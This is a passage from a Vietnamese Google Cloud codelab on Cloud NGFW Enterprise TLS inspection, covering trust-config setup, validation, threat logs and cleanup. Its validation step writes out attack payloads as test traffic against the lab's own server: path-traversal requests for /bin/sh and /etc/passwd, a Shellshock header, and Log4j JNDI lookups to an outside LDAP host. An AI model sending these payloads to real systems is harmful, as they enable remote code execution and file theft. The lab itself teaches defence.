Lấy chứng chỉ CA gốc và đặt chứng chỉ đó làm biến có định dạng phù hợp.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

Định cấu hình tệp YAML Cấu hình tin cậy. Tệp này chứa thông tin chi tiết đáng tin cậy, chẳng hạn như chứng chỉ CA:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

Các lệnh ở trên bao gồm chứng chỉ CA gốc của bạn trong kho lưu trữ tin cậy vì chứng chỉ máy chủ của bạn đã được ký bằng CA gốc. Điều này có nghĩa là tường lửa sẽ tin tưởng mọi chứng chỉ nhận được và đã được Chứng chỉ gốc của bạn ký – ngoài các CA công khai nếu chính sách TLS của bạn đã loại trừPublicCaSet thành false.

Kiểm tra nội dung của cấu hình tin cậy.

cat trust_config.yaml 

Kết quả mẫu:

Chú ý kỹ đến căn chỉnh thụt đầu dòng của chứng chỉ. Phải tuân chính xác định dạng này.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

Nhập cấu hình tin cậy:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

Cập nhật tệp YAML của chính sách TLS để thêm cấu hình tin cậy:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

Nhập Chính sách TLS đã cập nhật:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. Đang xác thực quy trình kiểm tra TLS (Bảo mật tầng truyền tải) trong E/W

SSH trở lại máy khách để kiểm thử lưu lượng truy cập E/W với cấu hình tin cậy được cập nhật:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Chạy yêu cầu TLS mẫu tới máy chủ:

curl https://$target_privateip --max-time 2

Nếu bạn vẫn nhận được kết quả bên dưới, vui lòng đợi nội dung cập nhật được áp dụng.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Kết quả đầu ra dự kiến:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

Gửi lưu lượng thử nghiệm độc hại đến máy chủ:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Kết quả đầu ra dự kiến:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Không nhận được phản hồi nào theo kết quả dự kiến bên dưới, xác nhận rằng các cuộc tấn công mẫu hiện đang bị chặn cho E/W.

13. Ghi nhật ký

Chuyển đến Ghi nhật ký > Trình khám phá nhật ký thông qua Cloud Console, nhập bộ lọc ở bên dưới và truy vấn nhật ký. Thay thế [PROJECT_ID] bằng project_id của bạn:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Các mục nhập nhật ký của Cloud NGFW Enterprise phải có dạng như sau:

5b68cc1063c0f4bd.pngS

Mở rộng các mục nhập nhật ký và lưu ý rằng các cuộc tấn công được gửi từ máy khách vm đến máy chủ đã được xác định và chặn (Lỗ hổng thực thi mã từ xa Apache Log4j theo ảnh chụp màn hình dưới đây).

478f18f8481e90ed.pngS

Bạn đã triển khai thành công Cloud NGFW Enterprise bằng công cụ Kiểm tra TLS để chặn các yêu cầu độc hại.

Chuyển sang phần tiếp theo để biết các bước dọn dẹp.

14. Các bước dọn dẹp

Dọn dẹp chế độ thiết lập cơ sở

Xoá các thực thể:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Hãy thực hiện các bước bên dưới nếu vai trò Quản trị viên của thẻ và Người dùng thẻ đã thay đổi:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Xoá khoá và giá trị Thẻ:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Xoá Chính sách mạng tường lửa của Cloud và liên kết:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Xoá Cloud Router và Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Xoá các địa chỉ IP dành riêng:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

SPG, liên kết và dọn dẹp TLS đối với tường lửa của đám mây

Xoá Nhóm Hồ sơ bảo mật và Hồ sơ mối đe doạ theo thứ tự sau:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Xoá mối liên kết điểm cuối của Cloud Firewall:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Xoá điểm cuối của Cloud Firewall. Quá trình này có thể mất khoảng 20 phút:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

Nếu muốn, hãy xác nhận rằng điểm cuối Cloud NGFW đã bị xoá bằng cách chạy lệnh bên dưới:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Trạng thái của điểm cuối phải cho thấy:

STATE: DELETING

Khi hoàn tất, điểm cuối sẽ không còn được liệt kê nữa.

Xoá Chính sách TLS và Cấu hình tin cậy theo thứ tự sau:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

Vô hiệu hoá và xoá Root CA và Nhóm CA:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Dọn dẹp mạng con và VPC

Cuối cùng, hãy xoá mạng con và mạng VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. Xin chúc mừng!

Xin chúc mừng, bạn đã hoàn tất thành công lớp học lập trình Kiểm tra TLS (Bảo mật tầng truyền tải) của Cloud NGFW Enterprise cho Đông Tây và Bắc Mỹ.